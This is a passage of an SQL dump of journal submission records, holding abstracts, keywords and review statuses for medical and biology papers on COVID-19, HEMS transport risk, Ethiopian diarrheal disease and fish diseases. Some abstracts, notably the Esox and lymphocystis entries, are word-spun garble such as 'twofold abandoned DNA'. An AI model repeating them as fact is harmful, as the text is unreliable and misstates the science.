cuatro cambios en el antígeno S1, para otros antígenos como los del grupo Orf son aún mayores ','vacunas, covid 19, mutaciones',2805,NULL,'2021-01-17',NULL,'Submitted',2,NULL,'2021-02-15',NULL,1,1,'0','Accepted for Publication',0,'','',NULL,0,0,0,NULL,0),(7125,8395,45,0,'iphsj-21-7125','ACUTE RISK IN HELICOPTER EMERGENCY MEDICAL SERVICE TRANSPORT OPERATIONS',NULL,14,0,NULL,'ABSTRACT\r\nObjective:\r\nThe highest safety risk for helicopter emergency medical service (HEMS) operations in the United States is during night-time operations. Although guidelines recommend physicians consider the risk to the patient and flight crew when triaging a patient for flight, no objective measure of risk between day and night-time HEMS flights exist. The purpose of this study was to measure the acute risk of HEMS transport within a spectrum of aviation and medical procedure risk. \r\nMethods:\r\nThe number of fatal HEMS accidents, fatal patient injuries and patients transported by day and night between 1995 to 2015 were classified as events and measure of activities, respectively. Acute risk was measured using the MicroMort (mM) which represents a one in a million chance of dying from an accident. Comparisons with other activities were used to contextualize aviation and medical procedure risk. \r\nResults:\r\nEach daytime HEMS task (7.55 mM) was similar to one parachute jump (7.96 mM). One night-time HEMS task in hazardous operational conditions (18.75 mM) was over ten-times greater than one scuba dive (1.84 mM). Patient night-time mortality (6.43 mM) was similar to one general anaesthetic (8.2 mM). \r\nConclusion:\r\nDaytime HEMS accident risk is of similar risk to one parachute jump, and at night-time in hazardous operational conditions over ten-times greater than one scuba dive. Where a patient’s risk of death from their injury or illness is not greater than that of a general anaesthetic, triage for a night HEMS transport may introduce greater risk than the patient’s medical condition itself.\r\n\r\n','Patient, Micromort, Risk, Fatalities, HEMS, Accident',4660,NULL,'2021-01-18',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7128,8297,45,0,'iphsj-21-7128','Burden of diarrheal disease among under five children in Ethiopia, 2000-2016: findings from the Global Health Estimates 2016',NULL,14,0,NULL,'Introduction Globally diarrhea among under five children remains one of the high burden diseases particularly in developing countries. Ethiopia is one of the sub-Saharan countries highly under five mortality due to diarrhea. Ethiopia has made remarkable progress in reducing child mortality over the last two decades. However, the under-5 mortality and morbidity rate related to diarrhea still magnificently a burden. \r\nObjective This study aimed to assess the burden of diarrheal for under five children in terms of death and Disability-Adjusted Life Years lost (DALY) between 2000 and 2016. \r\nPatients and methods: The research used data from Global Health Estimate 2016; that originally collected the information through vital registration, verbal autopsy, surveys, reports, published scientific articles, Global Burden of Disease study (GBD 2016) and modeling. The magnitude of Diarrheal disease death was estimated 14,894 under five children in 2016. Death from diarrheal disease has also contributed to 38.4% (14894/38777) of deaths from infectious and parasitic diseases and 7.96% (14894/187,065) of the total death reported by the same year. Meanwhile, YLD, YLL and DALYs for under five children were 61,709 and 1408.4 thousand respectively in 2016. The magnitude of deaths due to diarrheal disease was declined by 76.7% from the 2000’s record of 49,021 deaths within 16 years. In 2016, Mortality due to Diarrheal disease was highest among males. Of the 14,894 diarrheal disease related mortalities, more than 1405 deaths were among males. \r\nConclusion: Even if the burden of diarrhea for under five mortality is sharply declining in Ethiopia; but, it still remained one of the public health problems and second leading cause of morbidity. Therefore, strengthening hand washing practice and accessing prevention program is important to eliminate death within the target period.','diarrhea burden, Mortality, under five children',4048,NULL,'2021-01-18',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7131,8401,667,0,'iptb-21-7131','Translational medicine research in sub-saharan Africa - challenges and prospects',NULL,15,0,'','Translational medicine (TM) is a branch of medicine and research in which basic science research findings are implemented to solve clinical problems and it involves the generation of research questions from clinical problems - the so-called “bench to bedside and back to bench approach” (Homer-Vanniasinkam S, & Tsui J, 2012). Despite the vital importance of TM as would be seen in the course of this paper and the steps that other regions of the world have taken, and plan to take to bolster their already working TM sector, sub-Saharan Africa is yet to fully take the first few steps on the road to TM research (Adefuye et al, 2018; Conradie et al, 2018).\r\nThis situation of depending on the research findings from technologically advanced countries presents a lot of challenges as environment and genetics play a very important role in what kind of results are obtained (Adefuye et al, 2018). This causes discrepancies in outcome/ inability to replicate study findings using the study methods and design applied by research that a clinical decision or recommendation was made.\r\nDue to the workload on the health professionals, poor health care system,  low interest in research, inadequate training and funding, and other factors that would be highlighted in this paper, the clinician is seldom able to lift his/her eyes from the present emergency to consider what may prove useful in the future. This state of affairs is also compounded by the fact that the fruition of TM research may take many years (Butler, 2008). Some solutions include more efficient record keeping, more government support, improved research training among others.\r\nThis paper aims to highlight the challenges of TM in sub Saharan Africa and further offer some practical and culturally adaptable solutions to these challenges.','',3933,NULL,'2021-01-18',NULL,'Submitted',4,NULL,'2021-03-15',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7132,8402,73,0,'ipjnn-21-7132','Mild COVID-19 Infection in a Patient with Multiple Sclerosis, while taking Fingolimod: A case report',NULL,2,0,'','Background: Fingolimod, as an immunosuppressive drug, is used in the treatment of patients with Multiple Sclerosis. During recent pandemic, several controversies raised to stop or continue immunosuppressive drugs such as fingolimod in patients who developed coronavirus disease 2019. In this regard, most of consensuses advised to stop the consumption of this drug, but try to re-initiate before 6-8 weeks to prevent the disease’s activity or occurrence of rebound phenomenon.\r\nCase presentation:  we report a 40-year old female patient with Multiple Sclerosis receiving fingolimod. Having peripheral lymphopenia, she developed coronavirus disease 2019 symptoms, tested for polymerase chain reaction of coronavirus, and the result was positive.  Afterward, she stayed at home and did not stop fingolimod. However, her symptoms have improved and she did not need hospitalization for the entire course of coronavirus disease 2019 infection.\r\nConclusions: The effects of the treatment with fingolimod on a patient infected by coronavirus disease 2019 are complex. On one hand, fingolimod withdrawal can increase the number of circulating lymphocytes, which consequently improves body defense against viral infections. On the other hand, it can also increase the risk of cytokine storm, which could be harmful. Therefore, further studies needed to find the risks and beneficial effects of fingolimod on coronavirus disease 2019 patients. \r\n','Fingolimod, Covid-19, Multiple Sclerosis, Immunotherapy',337,NULL,'2021-01-18',NULL,'Submitted',2,NULL,'2021-02-27',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7134,8404,251,0,'ipacm-21-7134','Molecular characterization of OprD gene of Pseudomonas aueroginosa clinical isolates from Jordan hospitals',NULL,14,0,'','Abstract\r\nBackground and objectives: Recently, P. aeruginosa has been increasingly associated with the emergence of multi-drug resistance in medical settings and clinical samples. Structural alterations in the membrane permeable OprD protein were found to be associated with the resistance to several types of antimicrobial agents especially carbapenems. This study was conducted to investigate the presence of mutations in the chromosomal OprD gene that show resistance to carbapenems among clinical isolates of P. aeruginosa. \r\nMaterials and Methods: A total of 63 clinical isolates of P. aeruginosa reported resistance to meropenem was collected from the public hospitals in Irbid city north of Jordan. Routine analysis of antimicrobial susceptibility of P. aeruginosa using disc diffusion tests was performed and subsequently, MIC of the strains against imipenem and meropenem were determined by the microdilution method. Susceptibility was categorized using the breakpoints defined by the Clinical and Laboratory Standards Institute Guidelines CLSIG. In addition, molecular analysis of mutations in OprD gene was carried out using nested PCR techniques, restriction fragment length polymorphism (RFLP) and DNA sequencing.  \r\nResults: No resistance to imipenem was observed. Forty one isolates (65%) showed multidrug resistance while 14 (22%) tested positive for metallo-beta-lactamase activity. The molecular analysis revealed that the most frequent molecular lesions among the resistant strains was the F170L substitution mutation which was detected in 22 (35%) of the isolates. The divergent sequence of 10 amino acids 372(VDSSSSYAGL)383 was detected in 7 (11%) of the isolates. Our results do not indicate a single occurrence of the 433(LIVDYPLSIL)443 deletion mutation in any of the 63 collected isolates. However, no statistically significant association between each type of lesions and carbapenem resistance could be established. \r\nConclusion: There is a significant alteration in oprD gene in P. aeruginosa clinical isolates that were examined in this study. This alteration could be associated and affect meropenem-susceptibility rather than imipenem. \r\n','P .aeruginosa, Metallo-β-lactamase, Carbapenems, OprD gene, Insertion sequence, Divergent sequence',777,NULL,'2021-01-18',NULL,'Submitted',4,NULL,'2021-02-03',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7135,8405,639,0,'ipfs-21-7135','An Overview: Esox',NULL,5,0,NULL,'might be a sort of freshwater fish, the solitary living variety inside the family Esocidae—the esocids which were endemic to North America and Eurasia during the Paleogene through present. The types of this variety are known as pike and pickerel. The sort species is E. lucius, the northern pike.','Pikes,Esox,chomps',1770,NULL,'2021-01-19',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7145,8414,86,0,'ipaom-21-7145','Pregnancy Outcomes and Neonatal Complications in Asymptomatic Deliveries Complicated by COVID-19 ',NULL,14,0,NULL,'Title. Pregnancy Outcomes and Neonatal Complications in Asymptomatic Deliveries Complicated by COVID-19 \r\n\r\nBackground. This study aims to compare pregnancy outcomes and neonatal complications in asymptomatic COVID-19 positive pregnancies and COVID-negative pregnancies.\r\n\r\nMethods and Findings. This was a retrospective cohort study of patients in an urban community hospital. Institutional review board approval was obtained. Asymptomatic COVID-19 positive and COVID-negative pregnant patients who were admitted for delivery were identified via electronic medical records from April to May 2020. Cases were confirmed with nasopharyngeal polymerase chain reaction. Maternal and neonatal outcomes and complications were collected. Continuous variables were compared with Student t-test and dichotomous variables with chi square analysis with statistical significance considered at P<.05. \r\n43 COVID-19 positive and 225 negative patients met criteria. The incidence of asymptomatic COVID-19 maternal infection at the time of delivery was 16% (43/268). 25.6% of asymptomatic COVID-19 patients developed symptoms during the intrapartum period. There was no significant difference in maternal demographics. There was no significant difference in maternal outcomes on admission such as estimated blood loss, indication for cesarean section, cesarean section incidence rate, maternal length of stay, maternal fever, or lymphocyte count. However, significant differences were noted in WBC count, cough, shortness of breath, gastrointestinal symptoms, initial oxygen saturation, and oxygen requirement. There was no significant difference in neonatal outcomes including birth weight, preterm delivery rate, respiratory distress syndrome, and NICU admission rate, but there was a significant difference in neonatal length of stay. \r\n\r\nConclusions. No significant differences were observed in mode of delivery or neonatal outcomes. Given the ongoing pandemic, this study may guide us in counseling patients.','Pregnancy; COVID-19',3386,NULL,'2021-01-20',NULL,'Submitted',2,NULL,'2021-02-03',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7150,8423,639,0,'ipfs-21-7150','Economic burden of infectious diseases to Indian shrimp farming',NULL,3,0,'','Infectious diseases, especially Enterocytozoon hepatopenaei (EHP), white spot syndrome virus (WSSV) infections, are the major constraints in developing shrimp farming in India. A questionnaire-based survey covering an area of 7259 ha in 23 coastal districts based on multistage stratified sampling (n=909) was conducted to estimate the probability of disease occurrence (PDO) and the economic loss due to diseases was estimated. Loss of production (t ha-1crop-1) due to WSSV and EHP was 2.58±0.32 and 1.80±0.24 respectively. Additionally, the total employment loss due to diseases was estimated at 1.65 M man-days worth US$ 7.07 M. The results of the study revealed 49% as the overall probability of infectious disease occurrence in the country leading to an annual loss of 0.14 M ton of harvest worth US$ 1.02 B. Prioritizing the research and implementation of specific policies would help in reducing the losses due to infectious diseases in Indian shrimp farming.','Infectious diseases, Economic loss, Shrimp, India',1773,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','   ',0,'','',NULL,0,0,0,NULL,0),(7151,8424,45,0,'iphsj-21-7151','The Effect of Potentialization After Electro-Stimulation Activation on Vertical Heel Performance',NULL,14,0,NULL,'Introduction: Post Activation Potentiation (PAP) is the effect caused by a conditioning exercise with maximum or submaximal loads that promotes increased explosive strength in the subsequent activity. This phenomenon is due to the phosphorylation of light chain regulatory myosin manifesting in fast-twitch type II fibers. Electrostimulation is a method that uses electric currents to promote involuntary muscle contraction, and its higher incidence in type II fibers because they have thicker and more superficial nerve endings. Objective: To compare the effects of an electrostimulation protocol with a plyometric protocol to induce PAP on vertical jump performance. Methods: Plyometric Protocol (PP) - 2 sets of 10 ankle hops, 3 sets of 5 hundle hops, and 5 cold jumps. Electrostimulation Protocol (EP) - Protocol 32 Neurodyn device 4 channels, Russian current, 90% of pain threshold with 3 \"rise, 12\" on, 3 \"decay and 18\" off with 70Hz frequency burst during 5 \'and control condition (CC). 5 \'after each protocol the Jump Power Test (JPT) was performed and 3\' after the jump resistance test (RS). Results: Only the PP produced a significant effect when compared to the other protocols (p?0.05) PP+EP (290,49±14,28 e 280,36±10,26) (p = 0.016) and PP+CC (290,49±14,28 e 280,18±12,07) (p = 0.006). Regarding the% fatigue, the PP protocol had indices higher than the EP protocol (p = 0.054) and CC (p = 0.050). Conclusion: It was concluded that the electrostimulation did not produce PAP effect nor in greater magnitude than the Plyometric protocol, but had the highest jump resistance compared to the control condition and plyometrics.','Potentiation after activation; Electro-stimulation; Vertical jump; Plyometrics',4076,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-02-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7158,8423,639,0,NULL,'OUTLINES OF LYMPHOCYSTIS DISEASE IN FISH',NULL,12,0,NULL,'Lymphocystis is viral infection in fish that had a place with iridovirus family these infections are characterized by having twofold abandoned DNA structures which are found in both marine fish and freshwater. It is known as cauliflower disease.','Lymphocystis, Cauliflower, white bumps',1770,NULL,'2021-01-21',NULL,'Submitted',4,NULL,'2021-01-21',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7159,8405,639,0,'ipfs-21-7159','FRAMEWORKS Of LYMPHOCYSTIS DISEASE IN FISH',NULL,12,0,NULL,'Lymphocystis is viral infection in fish that had a place with iridovirus family these infections are characterized by having twofold abandoned DNA structures which are found in both marine fish and freshwater. It is known as cauliflower disease.','Cauliflower, Lymphocystis, veterinarian',1770,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-03-04',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7160,8431,45,0,'iphsj-21-7160','“A Meta- Analysis of various Medical Condition With Usability evaluation of Human Health Research Web Based Portal Study involving 500 Participants Data Analysis of Medical Condition”',NULL,14,0,'','Human Health Research: Portal is now offering a free web based and secure medical updates portal to enable hospitals, healthcare providers, researchers, pharmacist, doctors get to know about the recent updates in health care. Human Health Research portal which is a website that collects health related information from original source and presents followers with the most appropriate information for their context. Social network site and medical management are strong combination. Social networks have been deep pockets in 2020s and not just for Generation Y. 1980s and 1990s are been using social network site to look and share information on one scrolling platform. Human Health research is a web based portal systems used in medical management, including promote awareness to people, inspire patient engagement, and sharing accurate health information in the post. Sometimes raising awareness is as simple as reminding followers about common sense health center or communicating proper healthy living concerns. Has technology is updating social network sites are the key to make sure that public is aware of latest guidelines, issues and monitor. So, the best way to get medical updates out there is to share original source information in social network platforms.','Human Health Research, Various Medical Condition,  Web Pased Portal Survey, Hypothyroid, Social Media Platform.\r\n ',4076,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-02-16',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7163,8434,73,0,'ipjnn-21-7163','Physical activity assessment in patients with multiple sclerosis',NULL,17,0,'','Multiple sclerosis (MS) is on the second place after epilepsy in the young people fourth place among the neurological diseases of central nervous system. The main feature of the up-to-date MS therapy is the individual approach to the patient. Interest to the monitoring of the individual load in the daily activity is tremendously increased the last years.  \r\nThe purpose of this research was to demonstrate the possibility of the loading monitoring in the MS patients with a help of special measurement insoles and mobile application (both iOS and Android), allowing to calculate not only the number of steps, but also the total loading, contact time, foot contact areas, imbalance, and cadence.\r\nComparison of 2 patients with the same MS type and the same therapy was performed. Both patients are males, differ by age and body mass index, with no disability (minimal disability in 2 functional systems). \r\nApplication of up-to-date measurement devices and mobile application allows to estimate the daily patient activity as well as the other parameters characterizing the gait pattern and its impairments. Functional diagnostics during barefoot platform measurements and influence of the shoes in in-shoe measurements give the opportunity to assume the limitation of physical activity in persons with MS. \r\n','multiple sclerosis, patient activity, measurement devices, gait pattern, barefoot platform, foot pathology ',337,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-03-06',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7164,8435,975,0,'ipjbs-21-7164','The Role of Galanin, Conjugated Linoleic Acid, 12-O-Tetradecanoylphorbol-13-acetate and Molecular Docking of Treatments on Beta-Secretase 1 Enzyme: Effects of Inflammation on Alzheimer’s Disease',NULL,14,0,NULL,'The Role of Galanin, Conjugated Linoleic Acid, 12-O-Tetradecanoylphorbol-13-acetate and Molecular Docking of Treatments on Beta-Secretase 1 Enzyme: Effects of Inflammation on Alzheimer’s Disease\r\n\r\nChloe Liu and Wei Zhu\r\n\r\nState University of New York College at Old Westbury\r\n\r\nObese Alzheimer patients are at double the risk for memory loss compared to non-obese Alzheimer patients. Therefore, a correlation between obesity and neuronal function as it correlates to memory loss pathology was investigated.\r\nThis study also investigated the role of inflammation by exacerbating this pathology. MTT assay was used on 3T3 differentiated and undifferentiated cells treated with galanin, and its antagonist, M40, conjugated linoleic acid, and lipopolysaccharide to determine percent survival. LDH assay was used on 3T3 differentiated cells treated with A?40 and tetradecanoylphorbol acetate to determine cell cytotoxicity. \r\nOil red staining of immune cells treated with galanin, M40, and conjugated linoleic acid were used to enhance cell imaging of lipid accumulation. 3T3 differentiated cells treated with conjugated linoleic acid in MTT assay had a 23.20% greater cell survival than 3T3 undifferentiated cells. In the LDH assay, there were 653.63 cells treated with A?40 and 652.63 cells treated with tetradecanoylphorbol acetate. Galanin treated cells in oil red staining had 6.18% fat which indicated cell accumulation and an inflammatory response of cells which is similar to the response in the brain. M40, toll-like receptor 4, and somatostatin were molecularly docked to the beta-secretase 1 enzyme and results indicated that somatostatin had the greatest ligand efficiency. Somatostatin had a ligand efficiency of -0.13 and a binding energy of -14.9986. Compared to the other treatments, the results suggested that somatostatin had the greatest binding effects and potential for inhibiting the function of the beta-secretase 1 enzyme. \r\nTo further evaluate Alzheimer’s disease and obesity, testing ginseng, berberine, and polychlorinated biphenyls on A?40 is pertinent. This will assist in elucidating the influence of other dietary supplements and environmental contaminants on the risk of Alzheimer’s disease. This study provides a potential method in minimizing the risk of Alzheimer’s disease in which future research would also be conducted.','Obesity, Alzheimer, inflammation',4089,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-02-04',NULL,1,1,'0','I would suggest going ahead with the article after going through the whole manuscript, it is recommended to move ahead with the publication of the manuscript. ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7165,8436,45,0,'iphsj-21-7165','Community-level factors associated with COVID-19 Morbidity and Mortality in Queens, New York City  ',NULL,14,0,'','The Coronavirus Disease 2019 (COVID-19) pandemic had a profound and disproportionate effect on poor and vulnerable communities in Queens, New York City.  Community-level factors likely are the root causes of these disparities. Using publicly available data, we compare community-level factors among two communities in New York City, a district with the highest incidence of COVID-19 and the other, a district with the highest rate of COVID-19 deaths.  We extracted data on demographics, health status, access to healthcare, socioeconomic conditions, and environmental characteristics on these two communities from public records on June 11, 2020.  The community with the highest number of COVID-19 cases has lower education, limited English proficiency, and severe overcrowding.  In contrast, the community with the highest number of deaths experiences more health disparities, avoidable hospitalizations,  and premature deaths.  This study adds to the existing literature on COVID-19 affecting vulnerable communities with high incidence and mortality.  ','',685,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-02-16',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7166,7901,277,0,'ipadm-21-7166','COVID-19 E INFODEMIA',NULL,5,0,NULL,'La pandemia por SARS-CoV-2 ha captado la atención a nivel mundial, debido a su rápido esparcimiento. Al igual que ha ocurrido con otras pandemias, no existe una cura y/o tratamiento efectivo. Por tanto, como medida de contención la mayoría de los países han optado por el confinamiento y/o distanciamiento social. Bajo estas circunstancias, las redes sociales se han convertido en una herramienta clave para mantener \r\nen contacto a las personas. No obstante, estas han sido utilizadas como fuentes para trasmitir en la mayoría de los casos información errónea  entorno a los tratamientos  contra la COVID-19, los cuales en la mayoría de los casos pueden poner en riesgo la salud de las personas sanas.','COVID-19, infodemia, pandemia, redes sociales',2805,NULL,'2021-01-21',NULL,'Submitted',2,NULL,'2021-02-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7182,8449,45,0,'iphsj-21-7182','MSN',NULL,2,0,'','Giant uterine leiomyomas are very rare and exhibit atypical clinical presentations. To date, there is only one case reported in a patient with muscular dystrophy. However, there is no literature on tailored post-operative nursing care in patients where muscular dystrophy is complicated by a concurrent giant uterine leiomyoma. Here we present a case with a giant uterine leiomyoma and progressive muscular dystrophy. Tailored post-operative nursing care was delivered according to the specificity of the patient. These nursing care plan included continuous monitoring of the patient’s post-operative vital signs, thorough airway management, complementary nursing care using Chinese traditional medicine, nursing care to prevent aspiration pneumonia, infection, and lower extremity venous thromboembolism, pelvic floor muscle training exercises, and psychosocial care. The post-operative nursing care dramatically improved the patient’s condition after 16 days of hospitalization, and the patient was discharged from the hospital with a high degree of satisfaction.    ','',456,NULL,'2021-01-22',NULL,'Submitted',2,NULL,'2021-02-16',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7186,8454,975,0,'ipjbs-21-7186','Nanostructured genosensors for fast detection of pathogenic  microorganisms in water ',NULL,10,2,'','The integration of nanotechnology, with molecular biology and electrochemistry, have created a great expectation due to the development of new nucleic acid detection strategies based on nanomaterials and which are important tools in genomics, medical diagnosis, pharmacogenetics, pathology, criminology, food security, environmental monitoring, among others; particularly in this stage of the Covid-19 pandemic.\r\nIn this work, the DNA detection of four microorganisms was performed: Escherichia coli; Aspergillus niger; Salmonella typhi and Achlya sp. by electrochemical detection at the DNA level in water, using nanostructured genosensors, which represent a simple device; quick; accurate and economical for the detection of microorganisms.\r\nThe specific probes were designed with the Primer-Blast program, they were synthesized and used with gold nanoparticles (AuNPs) as a brand; \r\nthe probes were functionalized with the AuNPs by the streptavidin-biotin system and hybridization was performed, which was detected electrochemically, and it was observed that the signal decreases when there is less complementarity between the probe and the analyte, with the aim of the developed genosensors to be a tool for the rapid detection of microorganisms for purposes of monitoring, prevention and environmental control among others, like Covid-19; furthermore, if genosensors are produced on a large scale, they can be efficient, inexpensive, portable and simple to use.\r\n','Genosensors, Microorganisms, DNA Probes, Nanoparticles',3460,NULL,'2021-01-23',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7189,8459,86,0,'ipaom-21-7189','The major factors associated with increased dog population vis-a-vis spread of rabies within Srinagar district of Kashmir Valley, India”',NULL,14,0,'','Background: Information regarding open garbage dumps may cause public health dilemma within the community and cause stray dog proliferation. Most wastes have a family origin and stray dogs are largely attracted by possible wastes from cookery or former foods. The information, besides as attitudes and perception on rabies, is thus vital for the prevention of human deaths. Information regarding major factors associated with increased dog population can spot awareness gaps which can influence bar practices plus lead to needless deaths. Two sources i.e. primary and secondary sources were utilized for identifying the probable factors responsible for increased dog population. \r\nResults: Regarding the major factors associated with increases dog population, the respondents (both the people 99.68% and commercial 100%) believed that open garbage dumps are a public health barrier in the area and commence to stray dog proliferation. Conclusion: Open garbage dumps are a public health obstacle in the Srinagar area and they commence to stray dogs proliferation. Till date only around 2,000 sterilizations were conducted and also around 2,000 stray dogs were administered the anti-rabies vaccine, however this is too less in comparison with the total population of dogs and still, the ballot of dogs from the particular zones of Srinagar is deficient. \r\n','Dog population, Major factors, Rabies, Srinagar',3031,NULL,'2021-01-24',NULL,'Submitted',2,NULL,'2021-02-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7194,8466,277,0,'ipadm-21-7194','CASOS FAMILIARES ASINTOMÁTICOS DE COVID-19',NULL,17,0,NULL,'Desde diciembre de 2019 el síndrome respiratorio agudo severo coronavirus 2 (SARS-CoV-2), que causa la enfermedad por coronavirus 2019 (COVID-19) (1), ha originado más de 98 millones de casos reportados y más de 2 millones de muertes hasta el 24 de enero de 2021 (2).','COVID-19; SARS-CoV-2; Asymptomatic infections; Epidemiological characteristic',2805,NULL,'2021-01-25',NULL,'Submitted',2,NULL,'2021-02-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7204,8477,326,0,'IPJUS-21-7204','Effect of COVID-19 Pandemic on Early Follow-up and Outcomes of Non-COVID Surgical Patients',NULL,14,0,'','Abstract: \r\nPandemic associated disruption of routine health care services and transport may be associated with early discharge and poor patient follow-up. Telemedicine may act as a tool to provide follow-up advice in this scenario. The present study evaluated the effect of COVID-19 pandemic on early post-operative follow-up of non-COVID surgical patients. Feasibility of telemedicine in providing early follow-up care was also assessed. The present observational study included all the non-COVID surgical patients discharged from the unit from April 2020 to Jun 2020. All the eligible patients were interviewed telephonically regarding their follow-up visit, post-operative complaints, complications and any medical attention they required. A total of 80 patients were operated during the study period of which 65 (81.3%) underwent planned discharge while an early discharge was issued to 12 (15%) of them. Fifty-one (65.0%) patients came for follow-up in-person either to the surgical ward or emergency department. During telecommunication, 72 (90.0%) patients responded and medical advice was given for their queries. Approximately 88.0% of the patients were satisfied with the medical advice received by telemedicine for their clinical problems. The present study demonstrated failure of early post-operative follow-up in one-third of the cases. Telemedicine increased the proportion of patients receiving follow-up care.\r\n','COVID- 19, Follow-up, Pandemic, Telehealth, Telemedicine. ',2505,NULL,'2021-01-26',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7257,8527,91,0,'ijddr-21-7257','Eco-friendly spectrophotometric analysis of the poorly water-soluble drug (satranidazole) using the mixed hydrotropic concept',NULL,14,0,'','In the pharmaceutical industry, the common major issue concerns techniques that improve the aqueous solubility of drugs. Approximately 40 percent of the drug aspirants recently identified are exposed to low aqueous solubility. Different strategies are available to prevent the usage of organic solvents and boost the aqueous solubility of insoluble and rarely soluble drugs. Several organic solvents are utilized in the estimation of drugs. High reimbursement, volatility, and toxicity are the disadvantages of these organic solvents. These organic solvents are destructive If swallowed, breathed in, or ingested through the skin. The mixed hydrotropic solubilization approach is promising approach with great potential for poorly water soluble drugs since it does not require chemical modification of the drug. The present research work offers an eco-friendly path of estimating the satranidazole drug spectrophotometrically in tablet formulations without the support of organic solvents.\r\n','Spectrophotometric, satranidazole, hydrotropy, solubility, eco-friendly\r\n',4616,NULL,'2021-01-30',NULL,'Submitted',2,NULL,'2021-03-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(7261,8249,277,0,'ipadm-21-7261','SINDROME POST COVID 19 ¿DE QUE SE TRATA?',NULL,17,0,NULL,'Aunque la definición y validez de este síndrome aún no son claras, numerosos estudios reportan que los individuos recuperados de la COVID-19 pueden tener persistencia de síntomas, anormalidades radiológicas y compromiso en la función respiratoria incluso durante varios meses. Los adultos mayores y aquellas personas con patologías de base son los que más probablemente presenten síntomas persistentes de la COVID-19, pero incluso se han reportado casos de personas jóvenes y sanas que pueden sentir malestar durante semanas a meses después de la infección.\r\nSe estima que son alrededor de más de 50 signos y síntomas que pueden presentarse, pero entre los que más destacan esta: La fatiga, falta de aire al respirar, tos, dolor en las articulaciones, dolor en el pecho','COVID 19\r\nSINDROME POST COVID 19',2805,NULL,'2021-01-31',NULL,'Submitted',2,NULL,'2021-02-15',NULL,1,1,'1','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7273,8541,45,0,'iphsj-21-7273','THE LITTLE GUIDE OF SERVICES MARKETING To succeed his approach to Hospital Marketing',NULL,1,1,'marketing of hospital services','What are the new marketing levers available to structures\\r\\nhospitable? The short guide offers a national vision and takes stock of the\\r\\nresearch in the field of marketing of services and\\r\\nhealth management. In a universe in perpetual competition between\\r\\nhealth facilities and an environment dominated by consumerism\\r\\nmedical, it is more than necessary to know the latest techniques adapted\\r\\nto this particular context that is the hospital. This is why Service Marketing\\r\\nhospitaliers presents an original approach to this recent discipline of\\r\\nhospital marketing. The author is a teacher-researcher, but also\\r\\nconsultant regularly requested by hospitals or\\r\\nmedia. The approach of this guide will interest both the academic world\\r\\n(professors and students) than professionals (pharmaceutical laboratories,\\r\\nmedical or paramedical institutions, patient associations, insurance and\\r\\nmutuals, ...) eager to keep up to date by using the techniques\\r\\nlatest marketing in the discipline.','',686,NULL,'2021-02-01',NULL,'Submitted',16,NULL,'2021-02-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7275,8545,73,0,'ipjnn-21-7275','The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Tertiary Care Center.',NULL,14,0,'','Background: \r\nTraumatic brain injury (TBI) is a leading cause of morbidity and mortality globally. Currently, the association between hyperoxia and outcomes in patients with TBI remains debatable. We assessed the effect of hyperoxia on the neurological outcomes and survival of critically ill patients with moderate-severe TBI. \r\n\r\nMethods: \r\nThis was a retrospective cohort study of all adults with moderate-severe TBI admitted to the ICU between 1st January 2016 and 31st December 2019 who required invasive mechanical ventilation. We noted ABGs performed with the first 3 hours of intubation, then 6-12 hours and 24-48 hours. The patients were divided into two categories: normoxia (PaO2 60-99mmHg) and hyeroxia (PaO2 >100mmHg). Multivariable logistic regression was performed to assess predictors of hospital mortality and good neurologic outcome (Glasgow outcome score [GOS] ≥ 4). In a second analysis the patients were divided into survivors and non-survivors.\r\n\r\nResults:\r\nThe study included 308 patients: 23.4% (n=72) in normoxia group and 76.6% (n=236) in hyeroxia group. Hyperoxia was not associated with increased hospital (43% vs. 18%, p=0.20) mortality. Further, the hospital discharge GCS (10±5 vs. 11±4, p=0.10) and GOS (3±1 vs. 3±1, p=0.35) were similar. In multivariable logistic regression analysis, hyperoxia was not associated with increased mortality (adjusted odds ratio [aOR] 0.99, 95% CI 0.99-1.00, p=0.11). PaO2 within different ranges was also not associated with mortality:  100-200mmHg: aOR 0.60, 95% CI 0.29-1.52; 201-300mmHg: aOR 0.66, 95% CI 0.29-1.52; 301-400mmHg: aOR 0.80, 95% CI 0.31-2.09; and >400mmHg: 